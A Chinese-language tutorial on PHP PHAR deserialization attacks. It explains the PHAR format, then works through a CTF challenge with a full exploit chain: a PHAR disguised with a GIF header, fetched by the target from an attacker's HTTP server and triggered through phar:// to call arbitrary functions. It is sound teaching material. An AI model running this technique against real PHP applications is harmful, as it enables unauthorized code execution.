PHP PHAR 反序列化攻击

Table of Contents

PHAR 是种类似 JAR 的文件打包格式,能将多个资源压缩到一个文件包中,便于分发到其他项目里复用。

我们实际打个包来理解 PHAR,目录结构如下:

├── build.php
├── lib
│  ├── lib.php
│  └── main.php
└── test.php

lib/lib.php 内容如下:

<?php
function hello(){
    echo "hello world\n";
}
?>

lib/main.php 内容如下:

<?php
require "lib.php";

hello();
?>

以上两个文件为库的核心文件,build.php 是为了生成 PHAR 包:

<?php
$phar = new Phar('lib.phar', 0, 'lib.phar');
$phar->buildFromDirectory(dirname(__FILE__) . '/lib');
$phar->setDefaultStub('main.php');
?>

运行 build.php 将产生 lib.phar:

$ php build.php
$ ls
build.php  lib  lib.phar  test.php

打包的 lib.phar 可以直接执行:

$ php lib.phar
hello world

也可以在源码中当作库来引用,比如 test.php 内容如下:

<?php
require "phar://lib.phar/lib.php";

hello();
?>

可见,直接引用 PHAR 包实质上是使用了“phar://”这个伪协议,PHP 为了照顾 PHAR 这个特性,让很多带文件操作的内置函数都支持了 phar:// 伪协议。

与 PHAR 更多翔实的资料请移步参考官方文档:https://www.php.net/manual/zh/book.phar.php。 我们来考虑 PHAR 会带来什么安全问题。

BlackHat 2018 会议上,Sam Thomas 提到在解析 PHAR 时会对定义的 meta-data 进行反序列化操作。

作为示例,将上面的 build.php 修改如下:

<?php

class Hi {
}

$phar = new Phar('lib.phar', 0, 'lib.phar');
$hi = new Hi();
$phar->buildFromDirectory(dirname(__FILE__) . '/lib');
$phar->setMetadata($hi);
$phar->setDefaultStub('main.php');
?>

运行 build.php 后,可以通过如下看到被序列化到 lib.phar 中了:

$ xxd lib.phar
...

00001a00: 0800 0000 6c69 622e 7068 6172 0d00 0000  ....lib.phar....
00001a10: 4f3a 323a 2248 6922 3a30 3a7b 7d09 0000  O:2:"Hi":0:{}...
00001a20: 0062 7569 6c64 2e70 6870 8400 0000 d35a  .build.php.....Z

...

接下来把 test.php 也做下修改:

<?php
class Hi {
    function __destruct() {
	echo '反序列化了';
    }
}

require "phar://lib.phar/lib.php";

hello();

执行如下,可见到 __destruct 被调用,说明很容易被反序列化:

$ php test.php
hello world
反序列化了

1 一道 CTF 题

有漏洞的源码如下:

<?php
if (!file_exists("/var/www/data/secret")) {
    $SECRET = randomkeys(16);
    file_put_contents("/var/www/data/secret", $SECRET);
} else {
    $SECRET = file_get_contents("/var/www/data/secret");
}
if (isset($_SERVER["HTTP_X_REAL_IP"])) $SERVER_IP = $_SERVER["HTTP_X_REAL_IP"];
else $SERVER_IP = $_SERVER["REMOTE_ADDR"];
$SANDBOX = "/var/www/data/" . base64_encode("ctf" . $SERVER_IP);
@mkdir($SANDBOX);
@chdir($SANDBOX);

if (!isset($_COOKIE["session-data"])) {
    $data = serialize(new User($SANDBOX));
    $hmac = hash_hmac("sha1", $data, $SECRET);
    setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}

class User {
    public $avatar;
    function __construct($path) {
	$this->avatar = $path;
    }
}

class Admin extends User {
    function __destruct() {
	$_GET["lucky"]();
    }
}

function randomkeys($length){
    $output='';
    for ($a = 0; $a<$length; $a++) {
	$output .= chr(mt_rand(0, 0xFF));
     }
     return $output;
 }

function getFlag() {
    echo "flag: 123456";
}

function check_session() {
    global $SECRET;
    $data = $_COOKIE["session-data"];
    list($data, $hmac) = explode("-----", $data, 2);
    if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac)) {
	die("Bye");
    }

    if (!hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac)) {
	die("Bye Bye");
    }

    $data = unserialize($data);
    if (!isset($data->avatar)) {
	die("Bye Bye Bye");
    }

    return $data->avatar;
}

function upload($path) {
    $data = file_get_contents($_GET["url"] . "/avatar.gif");
    if (substr($data, 0, 6) !== "GIF89a") {
	die("Fuck off");
    }

    file_put_contents($path . "/avatar.gif", $data);
    die("Upload OK");
}

function show($path) {
    if (!file_exists($path . "/avatar.gif")) {
	$path = "/var/www/html";
    }

    header("Content-Type: image/gif");
    die(file_get_contents($path . "/avatar.gif"));
}

$mode = $_GET["m"];
if ($mode == "upload") {
    upload(check_session());
} else if ($mode == "show") {
    show(check_session());
} else {
    highlight_file(__FILE__);
}

从源码可知,只有调用了 getFlag 函数才可以得到本题的 flag,而 getFlag 没有在其他任何地方被调用过,但可以使用 Admin 类里的 __destruct 方法来调用 getFlag:

class Admin extends User {
    function __destruct() {
	$_GET["lucky"]();
    }
}

利用 PHP 的动态特性,只要传递 URL 参数 lucky=getFlag 就能随意调用;而要使用 Admin 类,就需要反序列化。

这道题的关键在 upload 函数,upload 调用了 file_get_contents,file_get_contents 的参数是通过 $_GET["url"] 传递的,如果指定一个远程路径,file_get_contents 会将文件内容下载回来,而后调用了 file_put_contents 将下载的内容写到了 avatar.gif 中。

如果给 url 参数传递的是一个 PHAR 文件,文件会被写入到 avatar.gif;然后就能再一次给 url 参数传递 phar:// 协议的地址,就能触发反序列化去实例化 Admin 类。

不过 upload 函数对下载的文件判断了格式:

if (substr($data, 0, 6) !== "GIF89a") {
    die("Fuck off");
}

只允许下载的文件是 GIF 格式,但绕过这个并不困难,因为 PHP 识别 PHAR 头时,只关心有不有:

<?php __HALT_COMPILER(); ?>

对于其他内容都无所谓,因此在生成 PHAR 文件时,可以添加一个 GIF 头:

$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");

所以最终利用过程如下:

一、生成 PHAR:

$ cat to_phar.php
<?php
class User {
    public $avatar;
    function __construct($path) {
        $this->avatar = $path;
    }
}

class Admin extends User {
    function __destruct() {
    }
}

$phar = new Phar("phar.phar");
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$admin = new Admin("test");
$phar->setMetadata($admin);
?>
$ php to_phar.php

二、将生成的 phar.phar 改名为 avatar.gif,并放到一台 HTTP 服务器中保证能远程访问到,我这里放置的 IP 地址为 http://192.168.1.101/avatar.gif

三、访问以下地址,让 avatar.gif 上传到 题目服务器中:

http://host/ctf.php?m=upload&url=http://192.168.1.101

四、访问以下 URL 触发反序列化漏洞:

http://host/ctf.php?m=upload&url=phar://[path]&lucky=getFlag

注意:path 对应的路径在 Cookie 中可以找到,访问后就能成功获得题目 Flag。